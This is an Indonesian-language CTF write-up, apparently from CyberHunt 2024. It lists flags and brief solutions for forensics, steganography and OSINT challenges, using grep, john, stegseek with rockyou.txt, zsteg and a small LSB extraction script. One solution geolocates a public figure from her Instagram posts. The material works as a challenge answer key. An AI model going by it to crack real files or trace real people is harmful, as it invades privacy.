key nya adalah key, lanjut kami menggunakan key ini unduk decode xor nya.
Flag: CYHUNT24{w4s_s0_3z_f0r_g0l4ng}
Digital Forensic
barang bukti
Diberikan sebuah file APK with classes.dex. Kami pun mengekstraknya, lalu masuk ke directorynya. Berhubung pada deskripsinya meminta chat_id, kami pun menjalankan perintah grep -ra ‘chat_id’.
Flag: CYHUNT24{6350386314}
kena heck
Diberikan sebuah log pcapng, kami mencoba untuk mencari flag dengan strings.
Flag: CYHUNT24{usb_my_fav_St0rage}
Flagstorage
Diberikan sebuah file flag.pptx. Kami pun langsung mengekstraknya. Setelah itu kami masuk ke directorynya dan cari flagnya dengan grep -ra ‘CYHUNT.
Flag: CYHUNT24{didyoukn0w_that_officed0cs_us1ng_pkzip_head3r?}
Lookin’ for Secrets
Diberikan sebuah file zip, yang ketika diekstrak akan mengeluarkan sangat banyak folder. Berdasarkan namanya, folder folder tersebut terlihat seperti folder windows. Kami pun mencoba untuk langsung mencari flagnya dengan grep. Commandnya sebagai berikut : grep -ra ‘CYHUNT’
Flag: CYHUNT24{appd4ta_c4ch3data_235wefs35}
tebak aku
basically kita pake password yg ada di log untuk ngebrute zip nya pakai john
dan dpt sfwhfuwghwbgrgsdnvsjvs
dpt ni ada hex kita decode aja dpt flagnya
Flag: CYHUNT24{tetap_ilmu_padi_abangku}
IMG
Diberikan sebuah gambar logo Cyber Specters, kami pun membukanya dengan Aperisolve.
Flag: CYHUNT24{masih_pemanasan_iniii}
Steg
stegseek stegkeknya.jpeg -wl ~/seclists/Passwords/Leaked-Databases/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "cyber"
[i] Original filename: "flag.txt".
[i] Extracting to "stegkeknya.jpeg.out".
cat stegkeknya.jpeg.out
CYHUNT24{masih_easy-lahh_yaaa}
Flag: CYHUNT24{masih_easy-lahh_yaaa}
bit/bit
kita extract aj filenya dan kita zsteg file 29512…jpg nya
Flag: CYHUNT24{1n_god_w3_trust}
rumah makan on day monday
kita stegseek
stegseek mencoba-kesempatan-ke-2-kali_4.jpg -wl ~/seclists/Passwords/Leaked-Databases/rockyou.txt
muncul txt huruf jepang dan nomer, kita extract nomernya dan jadiin ascii
Flag: CYHUNT24{m1s1_suks3s_k4mu_c1n4_as33l111}
Child’s Play
disini terdapat sebuah png, tapi hexnya broken kita lgsg fix aja dibagian header dan footernya , cek menggunakan nayuki.io dan ini perbandingan fixed dan aslinya
Flag: CYHUNT24{br0ken_h3x_i5_EasY}
Huh Its Me Again
terdapat deskripsi csgo/forsaken ( kita bisa asumsi word.exe ) karna forsaken memakai cheat dgn menyamarkan nama nya jadi word.exe , lgsg krna ini dfir kepikiran artifact word yaitu template Normal.dotm, lgsg saya cari normal.dotm nya
dan bener ada macros disini
keliatan beberapa hex dan pas saya concrate semua hexnya jadi base64 dan pas saya decode dpt flagnya
Flag: CYHUNT24{t3mpl4t3_d4ng3r0us_s3r10usly}
ayo maen bola
Dari hint yang diberikan bahwa gambar ini sudah disisipi sebuah text dengan metode lsb, langsung saja ini solver yang kami buat.
img = open("2side.jpg", "rb").read()
binary = [format(byte, '08b') for byte in img]
p = ""
for i in binary:
p += i[len(i)-1:]
print(p)
dan ketika kami decode binernya.
Flag: CYHUNT24{T0pP_SLUR}
Osint
no feedback
Lalu kami search di google “Sikapmu seakan-akan menyuruh diriku pergi Tapi perkataanmu seolah aku penting bagimu”
Lagu tersebut milik Lyodra Ginting. Setelah itu kami mencari instagramnya lalu kami cari postingan di tanggal 15/04/2024.
Pada tanggal tersebut, Lyodra sedang berada di AYANA Komodo Waecicu Beach. Kami pun mencari lokasi tersebut di google.
Flag: CYHUNT24{86554}
citylight
Kami pun membuka gambar tersebut di lens.google.com.
Dari google lens, kami mendapatkan info bahwa tempat tersebut adalah Kairos Coffee yang berada di Semarang, kami pun melihatnya di Google Maps untuk kode plus lokasinya.
Flag: CYHUNT24{X9X4+69}
Koko Doko?
Terlihat terdapat plang “Toko Marbun”, kami pun mencarinya di google maps dan ketemu Toko Marbun. Ini adalah titik koordinatnya.
Flag: CYHUNT24{-6.454,106.672}
old pict
diberikan satu file hint berupa base64 dan image
intinya dari foto tersebut kita mencari cari tempat kolam renang yang ada dan kita menemukan untuk foto yang sama. Dan flag nya terdapat pada ulasannya
Flag: CYHUNT24{hehehe_congrats////}
masalalu
Kami pun mencari url web jkt48.
Setelah itu, kami mencari jkt48.com pada web.archive.org.
Flag: CYHUNT24{23_09_2011}
searchengine
Kami pun mencari situs yang dimaksud di google.
Setelah itu, kami cari username @Cicix-Xi di quora.
Flag: CYHUNT24{3h_ketemu_d1sini}
Ingris Berduka
Diberikan file foto seperti berikut
oke mari kita gunakan google earth untuk menyelesaikannya.
setelah sedikit mengulik kita berhasil mendapatkan flagnya.
di url berikut
Flag: CYHUNT24{10665}
Destinasi
Kami coba cari di Google Maps, dan ketemu bahwa nama tempatnya adalah Obelix Sea View.
Flag: CYHUNT24{Obelix_Sea_View}
OSIG
Berdasarkan deskripsi dan judul challnya, saya langsung terpikirkan pada postingan Cyber Specters di IG yang membahas tentang CTF.
Flag: CYHUNT24{EASY_CHALL_OSINT}
CyberHunt 2024 | N2L